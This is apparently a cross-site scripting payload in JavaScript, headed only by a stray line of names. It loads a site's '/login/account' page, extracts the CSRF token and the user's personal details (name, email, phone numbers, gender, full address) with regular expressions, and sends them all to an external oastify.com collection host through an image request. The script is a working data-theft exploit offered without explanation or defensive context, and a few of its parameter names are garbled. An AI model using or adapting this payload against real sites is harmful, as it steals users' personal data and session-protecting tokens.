from Zillah & Roy Stafford
[removed]
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open(\'get\', \'/login/account\', true);
req.send();
function handleResponse() {
var html = this.responseText;
// Extract all fields
var token = html.match(
/name=\"CSRFToken\"[^>]*value=\"([^\"]+)\"/
);
var title = html.match(
/name=\"m_title\"[^>]*value=\"([^\"]*)\"/
);
var fname = html.match(
/name=\"m_fname\"[^>]*value=\"([^\"]*)\"/
);
var lname = html.match(
/name=\"m_lname\"[^>]*value=\"([^\"]*)\"/
);
var name_alt = html.match(
/name=\"m_name_alt\"[^>]*value=\"([^\"]*)\"/
);
var email = html.match(
/name=\"m_email\"[^>]*value=\"([^\"]*)\"/
);
var phone_home = html.match(
/name=\"m_phone_home\"[^>]*value=\"([^\"]*)\"/
);
var phone_mobile = html.match(
/name=\"m_phone_mobile\"[^>]*value=\"([^\"]*)\"/
);
var dob_d = html.match(
/name=\"m_dob_d\"[^>]*value=\"([^\"]*)\"/
);
var dob_m = html.match(
/name=\"m_dob_m\"[^>]*value=\"([^\"]*)\"/
);
var dob_y = html.match(
/name=\"m_dob_y\"[^>]*value=\"([^\"]*)\"/
);
var gender = html.match(
/name=\"m_gender\"[^>]*value=\"([^\"]*)\"/
);
var address_unit = html.match(
/name=\"m_address_unit\"[^>]*value=\"([^\"]*)\"/
);
var address_number = html.match(
/name=\"m_address_number\"[^>]*value=\"([^\"]*)\"/
);
var address_street = html.match(
/name=\"m_address_street\"[^>]*value=\"([^\"]*)\"/
);
var address_suburb = html.match(
/name=\"m_address_suburb\"[^>]*value=\"([^\"]*)\"/
);
var address_pcode = html.match(
/name=\"m_address_pcode\"[^>]*value=\"([^\"]*)\"/
);
var address_state = html.match(
/name=\"m_address_state\"[^>]*value=\"([^\"]*)\"/
);
var address_country = html.match(
/name=\"m_address_country\"[^>]*value=\"([^\"]*)\"/
);
// Assign values with fallback
token = token ? token[1] : \'not-found\';
title = title ? title[1] : \'not-found\';
fname = fname ? fname[1] : \'not-found\';
lname = lname ? lname[1] : \'not-found\';
name_alt = name_alt ? name_alt[1] : \'not-found\';
email = email ? email[1] : \'not-found\';
phone_home = phone_home ? phone_home[1] : \'not-found\';
phone_mobile = phone_mobile ? phone_mobile[1] : \'not-found\';
gender = gender ? gender[1] : \'not-found\';
address_unit = address_unit ? address_unit[1] : \'not-found\';
address_number = address_number ? address_number[1] : \'not-found\';
address_street = address_street ? address_street[1] : \'not-found\';
address_suburb = address_suburb ? address_suburb[1] : \'not-found\';
address_pcode = address_pcode ? address_pcode[1] : \'not-found\';
address_state = address_state ? address_state[1] : \'not-found\';
address_country = address_country ? address_country[1] : \'not-found\';
// Send all to Collaborator
new Image().src =
\'https://x53ow0g97qrverdpmztd723kabg24wsl.oastify.com\' +
\'?csrf=\' + encodeURIComponent(token) +
\'&title=\' + encodeURIComponent(title) +
\'&fname=\' + encodeURIComponent(fname) +
\'&lname=\' + encodeURIComponent(lname) +
\'&name_alt=\' + encodeURIComponent(name_alt) +
\'&email=\' + encodeURIComponent(email) +
\'☎_home=\' + encodeURIComponent(phone_home) +
\'☎_mobile=\' + encodeURIComponent(phone_mobile) +
\'&gender=\' + encodeURIComponent(gender) +
\'&unit=\' + encodeURIComponent(address_unit) +
\'&number=\' + encodeURIComponent(address_number) +
\'&street=\' + encodeURIComponent(address_street) +
\'&suburb=\' + encodeURIComponent(address_suburb) +
\'&pcode=\' + encodeURIComponent(address_pcode) +
\'&state=\' + encodeURIComponent(address_state) +
\'&country=\' + encodeURIComponent(address_country);
}
[removed]